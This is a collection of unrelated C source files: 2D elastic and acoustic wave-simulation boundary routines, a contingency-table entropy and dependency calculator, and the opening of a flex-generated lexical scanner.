int idx_out_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = (idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_txx = tmp / dz * *(lambda+idx_out_tpp) * dt;
tmp_tzz = tmp / dz * (*(lambda+idx_out_tpp) + 2**(mu+idx_out_tpp)) * dt;
*(out_txx+idx_out_tpp) = *(out_txx+idx_out_tpp) + tmp_txx;
*(out_tzz+idx_out_tpp) = *(out_tzz+idx_out_tpp) + tmp_tzz;
}
void el_bound_tpp_x_2d(double *out_txx, double *out_tzz,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_j_in_start, double *lambda, double *mu, double dx,
double dt,
double *BDwf_txx, double *BDwf_tzz,
double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_j_out;
int idx_BDwf_head, idx_BDwf_toe;
double tmp, tmp_head_txx, tmp_head_tzz,tmp_toe_txx, tmp_toe_tzz;
int idx_out_head_tpp, idx_out_toe_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_head_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = idx_i_out + (idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_head_txx = tmp / dx * (*(lambda+idx_out_head_tpp) + 2**(mu+idx_out_head_tpp)) * dt;
tmp_head_tzz = tmp / dx * *(lambda+idx_out_head_tpp) * dt;
idx_BDwf_head = idx_i_out + idx_j_out * BD_nz_out;
*(BDwf_txx+idx_BDwf_head) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_txx+idx_BDwf_head) + *(BDcoeff_a+idx_BDcoeff) * tmp_head_txx;
*(BDwf_tzz+idx_BDwf_head) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tzz+idx_BDwf_head) + *(BDcoeff_a+idx_BDcoeff) * tmp_head_tzz;
*(out_txx+idx_out_head_tpp) = *(out_txx+idx_out_head_tpp) + tmp_head_txx + *(BDwf_txx+idx_BDwf_head);
*(out_tzz+idx_out_head_tpp) = *(out_tzz+idx_out_head_tpp) + tmp_head_tzz + *(BDwf_tzz+idx_BDwf_head);
idx_out_toe_tpp = idx_i_out + (BD_nx_out - 1 - idx_j_out) * BD_nz_out;
idx0_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_toe_txx = tmp / dx * (*(lambda+idx_out_toe_tpp) + 2**(mu+idx_out_toe_tpp)) * dt;
tmp_toe_tzz = tmp / dx * *(lambda+idx_out_toe_tpp) * dt;
idx_BDwf_toe = idx_i_out + (2 * ext - 1 - idx_j_out) * BD_nz_out;
*(BDwf_txx+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_txx+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_txx;
*(BDwf_tzz+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tzz+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_tzz;
*(out_txx+idx_out_toe_tpp) = *(out_txx+idx_out_toe_tpp) + tmp_toe_txx + *(BDwf_txx+idx_BDwf_toe);
*(out_tzz+idx_out_toe_tpp) = *(out_tzz+idx_out_toe_tpp) + tmp_toe_tzz + *(BDwf_tzz+idx_BDwf_toe);
}
void el_unlimited_bound_tpp_z_2d(double *out_txx, double *out_tzz,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double *lambda, double *mu, double dz,
double dt,
double *BDwf_txx, double *BDwf_tzz,
double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_i_out;
int idx_BDwf_head, idx_BDwf_toe;
double tmp, tmp_head_txx, tmp_head_tzz, tmp_toe_txx, tmp_toe_tzz;
int idx_out_head_tpp, idx_out_toe_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_head_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = (idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_head_txx = tmp / dz * *(lambda + idx_out_head_tpp) * dt;
tmp_head_tzz = tmp / dz * (*(lambda + idx_out_head_tpp) + 2* *(mu + idx_out_head_tpp)) * dt;
idx_BDwf_head = idx_i_out + idx_j_out * 2 * ext;
*(BDwf_txx + idx_BDwf_head) = *(BDcoeff_b + idx_BDcoeff)* *(BDwf_txx + idx_BDwf_head) + *(BDcoeff_a + idx_BDcoeff) * tmp_head_txx;
*(BDwf_tzz + idx_BDwf_head) = *(BDcoeff_b + idx_BDcoeff)* *(BDwf_tzz + idx_BDwf_head) + *(BDcoeff_a + idx_BDcoeff) * tmp_head_tzz;
*(out_txx + idx_out_head_tpp) = *(out_txx + idx_out_head_tpp) + tmp_head_txx + *(BDwf_txx + idx_BDwf_head);
*(out_tzz + idx_out_head_tpp) = *(out_tzz + idx_out_head_tpp) + tmp_head_tzz + *(BDwf_tzz + idx_BDwf_head);
idx_out_toe_tpp = (BD_nz_out - 1 - idx_i_out) + idx_j_out * BD_nz_out;
idx0_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_toe_txx = tmp / dz * *(lambda+idx_out_toe_tpp) * dt;
tmp_toe_tzz = tmp / dz * (*(lambda+idx_out_toe_tpp) + 2**(mu+idx_out_toe_tpp)) * dt;
idx_BDwf_toe = (2 * ext - 1 - idx_i_out) + idx_j_out * 2 * ext;
*(BDwf_txx+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_txx+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_txx;
*(BDwf_tzz+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tzz+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_tzz;
*(out_txx+idx_out_toe_tpp) = *(out_txx+idx_out_toe_tpp) + tmp_toe_txx + *(BDwf_txx+idx_BDwf_toe);
*(out_tzz+idx_out_toe_tpp) = *(out_tzz+idx_out_toe_tpp) + tmp_toe_tzz + *(BDwf_tzz+idx_BDwf_toe);
}
void el_free_bound_tpp_z_2d(double *out_txx, double *out_tzz,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double *lambda, double *mu, double dz,
double dt,
double *BDwf_txx, double *BDwf_tzz,
double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_i_out;
int idx_BDwf_toe;
double tmp, tmp_toe_txx, tmp_toe_tzz;
int idx_out_toe_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_toe_tpp = (BD_nz_out - 1 - idx_i_out) + idx_j_out * BD_nz_out;
idx0_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_toe_txx = tmp / dz * *(lambda+idx_out_toe_tpp) * dt;
tmp_toe_tzz = tmp / dz * (*(lambda+idx_out_toe_tpp) + 2**(mu+idx_out_toe_tpp)) * dt;
idx_BDwf_toe = (ext - 1 - idx_i_out) + idx_j_out * ext;
*(BDwf_txx+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_txx+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_txx;
*(BDwf_tzz+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tzz+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_tzz;
*(out_txx+idx_out_toe_tpp) = *(out_txx+idx_out_toe_tpp) + tmp_toe_txx + *(BDwf_txx+idx_BDwf_toe);
*(out_tzz+idx_out_toe_tpp) = *(out_tzz+idx_out_toe_tpp) + tmp_toe_tzz + *(BDwf_tzz+idx_BDwf_toe);
}
/*********************/
/* Acoustic boundary */
/*********************/
//********************************************//
void ac_body_tpp_x_2d(double *out_tpp,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_j_in_start, double *lambda,
double dx, double dt, double *fdc)
{
double tmp, tmp_tpp;
int idx_out_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = idx_i_out + (idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_tpp = tmp / dx * *(lambda+idx_out_tpp) * dt;
*(out_tpp+idx_out_tpp) = *(out_tpp+idx_out_tpp) + tmp_tpp;
}
void ac_body_tpp_z_2d(double *out_tpp,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double *lambda,
double dz, double dt, double *fdc)
{
double tmp, tmp_tpp;
int idx_out_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = (idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_tpp = tmp / dz * *(lambda+idx_out_tpp) * dt;
*(out_tpp+idx_out_tpp) = *(out_tpp+idx_out_tpp) + tmp_tpp;
}
void ac_bound_tpp_x_2d(double *out_tpp,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_j_in_start, double *lambda, double dx,
double dt,
double *BDwf_tpp,
double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_j_out;
int idx_BDwf_head, idx_BDwf_toe;
double tmp, tmp_head_tpp,tmp_toe_tpp;
int idx_out_head_tpp, idx_out_toe_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_head_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = idx_i_out + (idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_head_tpp = tmp / dx * *(lambda+idx_out_head_tpp) * dt;
idx_BDwf_head = idx_i_out + idx_j_out * BD_nz_out;
*(BDwf_tpp+idx_BDwf_head) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tpp+idx_BDwf_head) + *(BDcoeff_a+idx_BDcoeff) * tmp_head_tpp;
*(out_tpp+idx_out_head_tpp) = *(out_tpp+idx_out_head_tpp) + tmp_head_tpp + *(BDwf_tpp+idx_BDwf_head);
idx_out_toe_tpp = idx_i_out + (BD_nx_out - 1 - idx_j_out) * BD_nz_out;
idx0_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (BD_nx_out - 1 - idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_toe_tpp = tmp / dx * *(lambda+idx_out_toe_tpp) * dt;
idx_BDwf_toe = idx_i_out + (2 * ext - 1 - idx_j_out) * BD_nz_out;
*(BDwf_tpp+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tpp+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_tpp;
*(out_tpp+idx_out_toe_tpp) = *(out_tpp+idx_out_toe_tpp) + tmp_toe_tpp + *(BDwf_tpp+idx_BDwf_toe);
}
void ac_unlimited_bound_tpp_z_2d(double *out_tpp,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double *lambda, double dz,
double dt,
double *BDwf_tpp,
double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_i_out;
int idx_BDwf_head, idx_BDwf_toe;
double tmp, tmp_head_tpp, tmp_toe_tpp;
int idx_out_head_tpp, idx_out_toe_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_head_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = (idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_head_tpp = tmp / dz * *(lambda + idx_out_head_tpp) * dt;
idx_BDwf_head = idx_i_out + idx_j_out * 2 * ext;
*(BDwf_tpp + idx_BDwf_head) = *(BDcoeff_b + idx_BDcoeff)* *(BDwf_tpp + idx_BDwf_head) + *(BDcoeff_a + idx_BDcoeff) * tmp_head_tpp;
*(out_tpp + idx_out_head_tpp) = *(out_tpp + idx_out_head_tpp) + tmp_head_tpp + *(BDwf_tpp + idx_BDwf_head);
idx_out_toe_tpp = (BD_nz_out - 1 - idx_i_out) + idx_j_out * BD_nz_out;
idx0_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_toe_tpp = tmp / dz * *(lambda+idx_out_toe_tpp) * dt;
idx_BDwf_toe = (2 * ext - 1 - idx_i_out) + idx_j_out * 2 * ext;
*(BDwf_tpp+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tpp+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_tpp;
*(out_tpp+idx_out_toe_tpp) = *(out_tpp+idx_out_toe_tpp) + tmp_toe_tpp + *(BDwf_tpp+idx_BDwf_toe);
}
void ac_free_bound_tpp_z_2d(double *out_tpp,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double *lambda, double dz,
double dt,
double *BDwf_tpp,
double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_i_out;
int idx_BDwf_toe;
double tmp, tmp_toe_tpp;
int idx_out_toe_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_toe_tpp = (BD_nz_out - 1 - idx_i_out) + idx_j_out * BD_nz_out;
idx0_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (BD_nz_out - 1 - idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_toe_tpp = tmp / dz * *(lambda+idx_out_toe_tpp) * dt;
idx_BDwf_toe = (ext - 1 - idx_i_out) + idx_j_out * ext;
*(BDwf_tpp+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf_tpp+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe_tpp;
*(out_tpp+idx_out_toe_tpp) = *(out_tpp+idx_out_toe_tpp) + tmp_toe_tpp + *(BDwf_tpp+idx_BDwf_toe);
}
|
the_stack_data/25137414.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#include <stdint.h>
#define TINY 1.0e-30
void entropy_int(
uint32_t *table,
uint32_t *rows,
uint32_t *cols,
float *entropy_table,
float *entropy_rows,
float *entropy_cols,
float *entropy_rowsGivencols,
float *entropy_colsGivenRows,
float *dependency_rowsOncols,
float *dependency_colsOnRows,
float *dependency_symmetrical,
float *time_sum_all,
float *time_sum_rows,
float *time_sum_cols,
float *time_entropy_table,
float *time_entropy_rows,
float *time_entropy_cols
){
// local variables
clock_t begin, end;
float sum_all = 0.0;
uint32_t sum_rows[*rows];
uint32_t sum_cols[*cols];
float p = 0.0;
// reset argument values
*entropy_table = 0.0;
*entropy_rows = 0.0;
*entropy_cols = 0.0;
*entropy_rowsGivencols = 0.0;
*entropy_colsGivenRows = 0.0;
*dependency_rowsOncols = 0.0;
*dependency_colsOnRows = 0.0;
*dependency_symmetrical = 0.0;
// Calculate the sum of all cells
begin = clock();
for(uint32_t row = 0; row < *rows; row++)
{
for(uint32_t col = 0; col < *cols; col++)
{
sum_all += table[row * *cols + col];
}
}
end = clock();
*time_sum_all = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the sum of all rows per col
begin = clock();
for(uint32_t row=0; row < *rows; row++)
{
sum_rows[row]=0;
for(uint32_t col=0; col < *cols; col++)
{
sum_rows[row] += table[row * *cols + col];
}
}
end = clock();
*time_sum_rows = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the sum of all cols per row
begin = clock();
for(uint32_t col=0; col < *cols; col++)
{
sum_cols[col]=0;
for(uint32_t row=0; row < *rows; row++)
{
sum_cols[col] += table[row * *cols + col];
}
}
end = clock();
*time_sum_cols = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the entropy of the table
begin = clock();
for(uint32_t row=0; row < *rows; row++)
{
for(uint32_t col=0; col < *cols; col++)
{
if(table[row * *cols + col])
{
p=table[row * *cols + col] / sum_all;
*entropy_table -= p * log(p);
}
}
}
end = clock();
*time_entropy_table = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the entropy of the x distribution
begin = clock();
for(uint32_t row=0; row < *rows; row++)
{
if (sum_rows[row])
{
p = sum_rows[row] / sum_all;
*entropy_rows -= p * log(p);
}
}
end = clock();
*time_entropy_rows = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the entropy of the x distribution
begin = clock();
for(uint32_t col=0; col < *cols; col++)
{
if (sum_cols[col])
{
p = sum_cols[col] / sum_all;
*entropy_cols -= p * log(p);
}
}
end = clock();
*time_entropy_cols = (float)(end - begin) / CLOCKS_PER_SEC;
// these are not timed as they are relatively simple calculations
// calculate the row entropy given cols
*entropy_rowsGivencols = *entropy_table - *entropy_cols;
// calculate col entropy given rows
*entropy_colsGivenRows = *entropy_table - *entropy_rows;
// calculate col dependency on rows
*dependency_rowsOncols =
(*entropy_rows - *entropy_rowsGivencols) /
(*entropy_rows + TINY);
// calculate row dependency on cols
*dependency_colsOnRows =
(*entropy_cols - *entropy_colsGivenRows) /
(*entropy_cols + TINY);
// calculate symmetrical dependency
*dependency_symmetrical =
2.0 * (*entropy_rows + *entropy_cols - *entropy_table) /
(*entropy_rows + *entropy_cols + TINY);
}
void entropy_float(
float *table,
uint32_t *rows,
uint32_t *cols,
float *entropy_table,
float *entropy_rows,
float *entropy_cols,
float *entropy_rowsGivencols,
float *entropy_colsGivenRows,
float *dependency_rowsOncols,
float *dependency_colsOnRows,
float *dependency_symmetrical,
float *time_sum_all,
float *time_sum_rows,
float *time_sum_cols,
float *time_entropy_table,
float *time_entropy_rows,
float *time_entropy_cols
){
// local variables
clock_t begin, end;
float sum_all = 0.0;
float sum_rows[*rows];
float sum_cols[*cols];
float p = 0.0;
// reset argument values
*entropy_table = 0.0;
*entropy_rows = 0.0;
*entropy_cols = 0.0;
*entropy_rowsGivencols = 0.0;
*entropy_colsGivenRows = 0.0;
*dependency_rowsOncols = 0.0;
*dependency_colsOnRows = 0.0;
*dependency_symmetrical = 0.0;
// Calculate the sum of all cells
begin = clock();
for(uint32_t row = 0; row < *rows; row++)
{
for(uint32_t col = 0; col < *cols; col++)
{
sum_all += table[row * *cols + col];
}
}
end = clock();
*time_sum_all = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the sum of all rows per col
begin = clock();
for(uint32_t row=0; row < *rows; row++)
{
sum_rows[row]=0;
for(uint32_t col=0; col < *cols; col++)
{
sum_rows[row] += table[row * *cols + col];
}
}
end = clock();
*time_sum_rows = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the sum of all cols per row
begin = clock();
for(uint32_t col=0; col < *cols; col++)
{
sum_cols[col]=0;
for(uint32_t row=0; row < *rows; row++)
{
sum_cols[col] += table[row * *cols + col];
}
}
end = clock();
*time_sum_cols = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the entropy of the table
begin = clock();
for(uint32_t row=0; row < *rows; row++)
{
for(uint32_t col=0; col < *cols; col++)
{
if(table[row * *cols + col])
{
p=table[row * *cols + col] / sum_all;
*entropy_table -= p * log(p);
}
}
}
end = clock();
*time_entropy_table = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the entropy of the x distribution
begin = clock();
for(uint32_t row=0; row < *rows; row++)
{
if (sum_rows[row])
{
p = sum_rows[row] / sum_all;
*entropy_rows -= p * log(p);
}
}
end = clock();
*time_entropy_rows = (float)(end - begin) / CLOCKS_PER_SEC;
// Calculate the entropy of the x distribution
begin = clock();
for(uint32_t col=0; col < *cols; col++)
{
if (sum_cols[col])
{
p = sum_cols[col] / sum_all;
*entropy_cols -= p * log(p);
}
}
end = clock();
*time_entropy_cols = (float)(end - begin) / CLOCKS_PER_SEC;
// these are not timed as they are relatively simple calculations
// calculate the row entropy given cols
*entropy_rowsGivencols = *entropy_table - *entropy_cols;
// calculate col entropy given rows
*entropy_colsGivenRows = *entropy_table - *entropy_rows;
// calculate col dependency on rows
*dependency_rowsOncols =
(*entropy_rows - *entropy_rowsGivencols) /
(*entropy_rows + TINY);
// calculate row dependency on cols
*dependency_colsOnRows =
(*entropy_cols - *entropy_colsGivenRows) /
(*entropy_cols + TINY);
// calculate symmetrical dependency
*dependency_symmetrical =
2.0 * (*entropy_rows + *entropy_cols - *entropy_table) /
(*entropy_rows + *entropy_cols + TINY);
} |
the_stack_data/108679.c |
#line 3 "lex.yy.c"
#define YY_INT_ALIGNED short int
/* A lexical scanner generated by flex */
#define FLEX_SCANNER
#define YY_FLEX_MAJOR_VERSION 2
#define YY_FLEX_MINOR_VERSION 5
#define YY_FLEX_SUBMINOR_VERSION 35
#if YY_FLEX_SUBMINOR_VERSION > 0
#define FLEX_BETA
#endif
/* First, we deal with platform-specific or compiler-specific issues. */
/* begin standard C headers. */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
/* end standard C headers. */
/* flex integer type definitions */
#ifndef FLEXINT_H
#define FLEXINT_H
/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
* if you want the limit (max/min) macros for int types.
*/
#ifndef __STDC_LIMIT_MACROS
#define __STDC_LIMIT_MACROS 1
#endif
#include <inttypes.h>
typedef int8_t flex_int8_t;
typedef uint8_t flex_uint8_t;
typedef int16_t flex_int16_t;
typedef uint16_t flex_uint16_t;
typedef int32_t flex_int32_t;
typedef uint32_t flex_uint32_t;
#else
typedef signed char flex_int8_t;
typedef short int flex_int16_t;
typedef int flex_int32_t;
typedef unsigned char flex_uint8_t;
typedef unsigned short int flex_uint16_t;
typedef unsigned int flex_uint32_t;
/* Limits of integral types. */
#ifndef INT8_MIN
#define INT8_MIN (-128)
#endif
#ifndef INT16_MIN
#define INT16_MIN (-32767-1)
#endif
#ifndef INT32_MIN
#define INT32_MIN (-2147483647-1)
#endif
#ifndef INT8_MAX
#define INT8_MAX (127)
#endif
#ifndef INT16_MAX
#define INT16_MAX (32767)
#endif
#ifndef INT32_MAX
#define INT32_MAX (2147483647)
#endif
#ifndef UINT8_MAX
#define UINT8_MAX (255U)
#endif
#ifndef UINT16_MAX
#define UINT16_MAX (65535U)
#endif
#ifndef UINT32_MAX
#define UINT32_MAX (4294967295U)
#endif
#endif /* ! C99 */
#endif /* ! FLEXINT_H */
#ifdef __cplusplus
/* The "const" storage-class-modifier is valid. */
#define YY_USE_CONST
#else /* ! __cplusplus */
/* C99 requires __STDC__ to be defined as 1. */
#if defined (__STDC__)
#define YY_USE_CONST
#endif /* defined (__STDC__) */
#endif /* ! __cplusplus */
#ifdef YY_USE_CONST
#define yyconst const
#else
#define yyconst
#endif
/* Returned upon end-of-file. */
#define YY_NULL 0
/* Promotes a possibly negative, possibly signed char to an unsigned
* integer for use as an array index. If the signed char is negative,
* we want to instead treat it as an 8-bit unsigned char, hence the
* double cast.
*/
#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c)
/* Enter a start condition. This macro really ought to take a parameter,
* but we do it the disgusting crufty way forced on us by the ()-less
* definition of BEGIN.
*/
#define BEGIN (yy_start) = 1 + 2 *
/* Translate the current start state into a value that can be later handed
* to BEGIN to return to the state. The YYSTATE alias is for lex
* compatibility.
*/
#define YY_START (((yy_start) - 1) / 2)
#define YYSTATE YY_START
/* Action number for EOF rule of a given start state. */
#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)
/* Special action meaning "start processing a new file". */
#define YY_NEW_FILE yyrestart(yyin )
